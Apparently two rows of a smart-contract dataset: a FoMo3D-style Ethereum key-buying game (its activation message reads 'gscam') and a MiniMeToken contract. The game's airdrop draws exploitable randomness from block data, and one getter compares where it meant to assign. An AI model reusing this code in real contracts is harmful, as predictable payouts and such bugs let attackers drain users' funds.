_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff && _affID != _pID && plyr_[_pID].laff == 0)
{
plyr_[_pID].laff = _affID;
}
_affID = plyr_[_pID].laff;
buyCore(_pID, _affID, _eventData_);
}
function buyXname(bytes32 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff && _affID != _pID && plyr_[_pID].laff == 0)
{
plyr_[_pID].laff = _affID;
}
_affID = plyr_[_pID].laff;
buyCore(_pID, _affID, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RSdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode != plyr_[_pID].laff && _affCode != _pID && plyr_[_pID].laff == 0) {
plyr_[_pID].laff = _affCode;
}
_affCode = plyr_[_pID].laff;
reLoadCore(_pID, _affCode, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RSdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff && _affID != _pID && plyr_[_pID].laff == 0)
{
plyr_[_pID].laff = _affID;
}
_affID = plyr_[_pID].laff;
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RSdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff && _affID != _pID && plyr_[_pID].laff == 0)
{
plyr_[_pID].laff = _affID;
}
_affID = plyr_[_pID].laff;
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_.end && round_.ended == false && round_.plyr != 0)
{
RSdatasets.EventReturns memory _eventData_;
round_.ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit GEvents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit GEvents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit GEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit GEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit GEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
return ( (round_.keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _now = now;
if (_now < round_.end)
if (_now > round_.strt + rndGap_)
return( (round_.end).sub(_now) );
else
return( (round_.strt + rndGap_).sub(_now));
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
if (now > round_.end && round_.ended == false && round_.plyr != 0)
{
if (round_.plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_.pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID).sub(plyrRnds_[_pID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID).sub(plyrRnds_[_pID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID)
private
view
returns(uint256)
{
return( ((((round_.mask).add(((((round_.pot).mul(potSplit_)) / 100).mul(1000000000000000000)) / (round_.keys))).mul(plyrRnds_[_pID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256)
{
return
(
round_.keys,
round_.end,
round_.strt,
round_.pot,
round_.plyr,
plyr_[round_.plyr].addr,
plyr_[round_.plyr].name,
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID)),
plyr_[_pID].aff,
plyrRnds_[_pID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, RSdatasets.EventReturns memory _eventData_)
private
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
{
core(_pID, msg.value, _affID, _eventData_);
} else {
if (_now > round_.end && round_.ended == false)
{
round_.ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit GEvents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, RSdatasets.EventReturns memory _eventData_)
private
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_pID, _eth, _affID, _eventData_);
} else if (_now > round_.end && round_.ended == false) {
round_.ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit GEvents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
}
function core(uint256 _pID, uint256 _eth, uint256 _affID, RSdatasets.EventReturns memory _eventData_)
private
{
require(_affID != 0, "must have affID");
if (plyrRnds_[_pID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_.eth < preIcoMax_ && plyrRnds_[_pID].eth.add(_eth) > preIcoPerEth_)
{
uint256 _availableLimit = (preIcoPerEth_).sub(plyrRnds_[_pID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_.eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys);
if (round_.plyr != _pID)
round_.plyr = _pID;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 100000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID].keys = _keys.add(plyrRnds_[_pID].keys);
plyrRnds_[_pID].eth = _eth.add(plyrRnds_[_pID].eth);
round_.keys = _keys.add(round_.keys);
round_.eth = _eth.add(round_.eth);
_eventData_ = distributeExternal(_pID, _eth, _affID, _eventData_);
_eventData_ = distributeInternal(_pID, _eth, _keys, _eventData_);
endTx(_pID, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID)
private
view
returns(uint256)
{
return((((round_.mask).mul(plyrRnds_[_pID].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID].mask));
}
function calcKeysReceived(uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
return ( (round_.eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
return ( (round_.keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "only PlayerBook can call this function");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff && plyr_[_pID].laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "only PlayerBook can call this function");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(RSdatasets.EventReturns memory _eventData_)
private
returns (RSdatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function managePlayer(uint256 _pID, RSdatasets.EventReturns memory _eventData_)
private
returns (RSdatasets.EventReturns)
{
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(RSdatasets.EventReturns memory _eventData_)
private
returns (RSdatasets.EventReturns)
{
uint256 _winPID = round_.plyr;
uint256 _pot = round_.pot.add(airDropPot_);
uint256 _win = (_pot.mul(60)) / 100;
uint256 _gen = (_pot.mul(potSplit_)) / 100;
uint256 _com = ((_pot.sub(_win)).sub(_gen));
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_.keys);
uint256 _dust = _gen.sub((_ppt.mul(round_.keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_com = _com.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
yyyy.transfer((_com.mul(80)/100));
gggg.transfer((_com.sub((_com.mul(80)/100))));
round_.mask = _ppt.add(round_.mask);
_eventData_.compressedData = _eventData_.compressedData + (round_.end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.newPot = 0;
return(_eventData_);
}
function updateGenVault(uint256 _pID)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID].mask = _earnings.add(plyrRnds_[_pID].mask);
}
}
function updateTimer(uint256 _keys)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_.end && round_.plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_.end);
if (_newTime < (rndMax_).add(_now))
round_.end = _newTime;
else
round_.end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _pID, uint256 _eth, uint256 _affID, RSdatasets.EventReturns memory _eventData_)
private
returns(RSdatasets.EventReturns)
{
uint256 _com = (_eth.mul(5)) / 100;
uint256 _affs = (_eth.mul(affTol)) / 100;
uint256 _comTmp;
uint256 _affIDNext;
(_affIDNext, _comTmp) = updateAff(_pID, _affs, _affID, affLv1_);
if (_comTmp > 0){
_com = (_com.add(_comTmp));
}
(_affIDNext, _comTmp) = updateAff(_pID, _affs, _affIDNext, affLv2_);
if (_comTmp > 0){
_com = (_com.add(_comTmp));
}
(_affIDNext, _comTmp) = updateAff(_pID, _affs, _affIDNext, affLv3_);
if (_comTmp > 0){
_com = (_com.add(_comTmp));
}
yyyy.transfer((_com.mul(80)/100));
gggg.transfer((_com.sub((_com.mul(80)/100))));
return(_eventData_);
}
function distributeInternal(uint256 _pID, uint256 _eth, uint256 _keys, RSdatasets.EventReturns memory _eventData_)
private
returns(RSdatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_)) / 100;
uint256 _air = (_eth / 20);
airDropPot_ = airDropPot_.add(_air);
uint256 _otherP = affTol.add(fees_).add(10);
uint256 _pot = _eth.sub((_eth.mul(_otherP)) / 100);
uint256 _dust = updateMasks(_pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_.pot = _pot.add(_dust).add(round_.pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateAff(uint256 _pID, uint256 _affEths, uint256 _affID, uint256 _affP)
private
returns(uint256, uint256)
{
uint256 _aff = (_affEths.mul(_affP)) / 100;
uint256 _key = (round_.eth).keysRec(_aff);
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit GEvents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _pID, _aff, now);
plyrRnds_[_affID].keys = _key.add(plyrRnds_[_affID].keys);
plyrRnds_[_affID].mask = ((round_.mask.mul(_key)) / (1000000000000000000)).add(plyrRnds_[_affID].mask);
round_.keys = _key.add(round_.keys);
return (plyr_[_affID].laff, 0);
}
return (0, _aff);
}
function updateMasks(uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_.keys);
round_.mask = _ppt.add(round_.mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID].mask = (((round_.mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID].mask);
return(_gen.sub((_ppt.mul(round_.keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _eth, uint256 _keys, RSdatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 100000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit GEvents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "gscam already activated");
activated_ = true;
round_.strt = now - rndGap_;
round_.end = now + rndInit_;
}
}
library RSdatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
}
struct Round {
uint256 plyr;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
}
}
library RSKeysCalc {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
}
| 0 | 1,156 |
pragma solidity 0.4.22;
contract Controlled {
modifier onlyController { require(msg.sender == controller); _; }
address public controller;
function Controlled() public { controller = msg.sender;}
function changeController(address _newController) public onlyController {
controller = _newController;
}
}
contract TokenController {
function proxyPayment(address _owner) public payable returns(bool);
function onTransfer(address _from, address _to, uint _amount) public returns(bool);
function onApprove(address _owner, address _spender, uint _amount) public
returns(bool);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public;
}
contract MiniMeToken is Controlled {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'MMT_0.2';
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
MiniMeToken public parentToken;
uint public parentSnapShotBlock;
uint public creationBlock;
mapping (address => Checkpoint[]) balances;
mapping (address => mapping (address => uint256)) allowed;
Checkpoint[] totalSupplyHistory;
bool public transfersEnabled;
MiniMeTokenFactory public tokenFactory;
function MiniMeToken(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public {
tokenFactory = MiniMeTokenFactory(_tokenFactory);
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
parentToken = MiniMeToken(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
doTransfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount
) public returns (bool success) {
if (msg.sender != controller) {
require(transfersEnabled);
require(allowed[_from][msg.sender] >= _amount);
allowed[_from][msg.sender] -= _amount;
}
doTransfer(_from, _to, _amount);
return true;
}
function doTransfer(address _from, address _to, uint _amount
) internal {
if (_amount == 0) {
emit Transfer(_from, _to, _amount);
return;
}
require(parentSnapShotBlock < block.number);
require((_to != 0) && (_to != address(this)));
uint previousBalanceFrom = balanceOfAt(_from, block.number);
require(previousBalanceFrom >= _amount);
if (isContract(controller)) {
require(TokenController(controller).onTransfer(_from, _to, _amount));
}
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
uint previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
emit Transfer(_from, _to, _amount);
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
if (isContract(controller)) {
require(TokenController(controller).onApprove(msg.sender, _spender, _amount));
}
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender
) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) public returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function totalSupply() public constant returns (uint) {
return totalSupplyAt(block.number);
}
function balanceOfAt(address _owner, uint _blockNumber) public constant
returns (uint) {
if ((balances[_owner].length == 0)
|| (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint _blockNumber) public constant returns(uint) {
if ((totalSupplyHistory.length == 0)
|| (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) public returns(address) {
if (_snapshotBlock == 0) _snapshotBlock = block.number;
MiniMeToken cloneToken = tokenFactory.createCloneToken(
this,
_snapshotBlock,
_cloneTokenName,
_cloneDecimalUnits,
_cloneTokenSymbol,
_transfersEnabled
);
cloneToken.changeController(msg.sender);
emit NewCloneToken(address(cloneToken), _snapshotBlock);
return address(cloneToken);
}
function generateTokens(address _owner, uint _amount
) public onlyController returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
emit Transfer(0, _owner, _amount);
return true;
}
function destroyTokens(address _owner, uint _amount
) onlyController public returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply >= _amount);
uint previousBalanceFrom = balanceOf(_owner);
require(previousBalanceFrom >= _amount);
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
emit Transfer(_owner, 0, _amount);
return true;
}
function enableTransfers(bool _transfersEnabled) public onlyController {
transfersEnabled = _transfersEnabled;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block
) constant internal returns (uint) {
if (checkpoints.length == 0) return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock) return 0;
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1)/ 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal {
if ((checkpoints.length == 0)
|| (checkpoints[checkpoints.length -1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function min(uint a, uint b) pure internal returns (uint) {
return a < b ? a : b;
}
function () public payable {
require(isContract(controller));
require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender));
}
function claimTokens(address _token) public onlyController {
if (_token == 0x0) {
controller.transfer(address(this).balance);
return;
}
MiniMeToken token = MiniMeToken(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
emit ClaimedTokens(_token, controller, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
